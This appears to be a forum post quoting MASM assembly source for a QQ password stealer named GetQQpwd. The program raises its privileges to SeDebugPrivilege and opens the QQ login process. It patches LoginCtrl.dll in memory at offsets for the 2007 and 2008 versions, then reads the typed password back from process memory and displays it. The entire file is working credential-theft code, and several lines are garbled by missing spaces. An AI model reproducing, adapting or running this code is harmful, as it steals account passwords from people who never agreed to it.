引用:

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Dialog.asm
; 对话框资源使用的模板代码
.386
.modelflat, stdcall
optioncasemap :none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include GetQQpwd.inc
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
StrLen PROCusesedi String:DWORD
movedi,String
moval,0
movecx,0FFFFFFFFh
repnescasb
subecx,0FFFFFFFFh
negecx
dececx
moveax,ecx
ret
StrLen ENDP
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 权限提升
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_EnablePrivilege proc szPriv:DWORD, bFlags:DWORD
LOCAL hToken
LOCAL tkp : TOKEN_PRIVILEGES

invoke GetCurrentProcess
mov edx, eax
invoke OpenProcessToken, edx, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, addr hToken
invoke LookupPrivilegeValue, NULL, szPriv, addr tkp.Privileges.Luid
mov tkp.PrivilegeCount, 1
xor eax, eax

.if bFlags
mov eax, SE_PRIVILEGE_ENABLED
.endif

mov tkp.Privileges.Attributes, eax
invoke AdjustTokenPrivileges, hToken, FALSE, addr tkp, 0, 0, 0
push eax
invoke CloseHandle, hToken
pop eax

ret
_EnablePrivilege endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProcTimer proc usesebxediesi _hWnd,_uMsg,_idEvent,_dwTime

.if !hQQ
invoke FindWindowA,ctxt("#32770"),ctxt("QQ用户登录")
.if eax
invoke GetWindowThreadProcessId,eax,addr QQpid
invoke OpenProcess,PROCESS_ALL_ACCESS,FALSE,QQpid
mov hQQ,eax
invoke SetWindowText,hWinMain,ctxt("QQ已启动-请输入密码并点登录")
invoke CreateToolhelp32Snapshot,TH32CS_SNAPALL,QQpid
mov hSnapShot,eax
mov myModule.dwSize, sizeof myModule
invoke Module32First,hSnapShot,addr myModule
jmp Cmp1
NextModule:
invoke Module32Next,hSnapShot,addr myModule
Cmp1:
invoke lstrcmp,addr myModule.szModule,ctxt("LoginCtrl.dll")
cmp eax,0
jnz NextModule
mov ebx,myModule.modBaseAddr
add ebx,16396h;2008:16DE0h,2007:16396h
invoke ReadProcessMemory,hQQ,ebx,addr dbOldBytes,2,NULL
mov ax,wordptr dbOldBytes
.if ax == wordptr db2007
invoke WriteProcessMemory,hQQ,ebx,addr dbPatched1,10,NULL
add ebx,12454h;2008:134EAh 2007:12454h
invoke WriteProcessMemory,hQQ,ebx,addr dbPatched2,28,NULL
invoke WriteProcessMemory,hQQ,12B000h,0,16,NULL
.elseif ax == wordptr db2008
add ebx,0A4Ah
invoke WriteProcessMemory,hQQ,ebx,addr dbPatched3,10,NULL
add ebx,134EAh
invoke WriteProcessMemory,hQQ,ebx,addr dbPatched4,27,NULL
invoke WriteProcessMemory,hQQ,12B000h,addr dbNull,16h,NULL
.endif
.endif
.else
invoke ReadProcessMemory,hQQ,12B000h,addr QQpwd,sizeof QQpwd,NULL
invoke StrLen,addr QQpwd
.if eax
invoke SetDlgItemText,hWinMain,IDC_EDT1,addr QQpwd
invoke WriteProcessMemory,hQQ,12B000h,addr dbNull,16h,NULL
.endif
invoke FindWindow,ctxt("#32770"),ctxt("QQ用户登录")
.if !eax
mov hQQ,0
invoke SetWindowText,hWinMain,ctxt("QQ未运行")
.endif
.endif
ret

_ProcTimer endp
_ProcDlgMain proc usesebxediesi hWnd,wMsg,wParam,lParam

mov eax,wMsg
.if eax == WM_COMMAND
mov eax,wParam
.if ax == IDC_btExit
invoke EndDialog,hWnd,NULL
.endif
.elseif eax == WM_CLOSE
invoke EndDialog,hWnd,NULL
.elseif eax == WM_INITDIALOG
invoke LoadIcon,hInstance,ICO_MAIN
invoke SendMessage,hWnd,WM_SETICON,ICON_BIG,eax
invoke SetTimer,NULL,NULL,1000,addr _ProcTimer
mov idTimer,eax
push hWnd
pop hWinMain
invoke _EnablePrivilege,ctxt("SeDebugPrivilege"), TRUE
invoke SendDlgItemMessage,hWnd,IDC_EDT1,EM_SETREADONLY,TRUE,0
invoke SetWindowPos,hWnd,HWND_TOPMOST,0,0,0,0,SWP_NOMOVE or SWP_NOSIZE
.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret

_ProcDlgMain endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke InitCommonControls
invoke DialogBoxParam,hInstance,DLG_MAIN,NULL,offset _ProcDlgMain,NULL
invoke ExitProcess,NULL
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
end start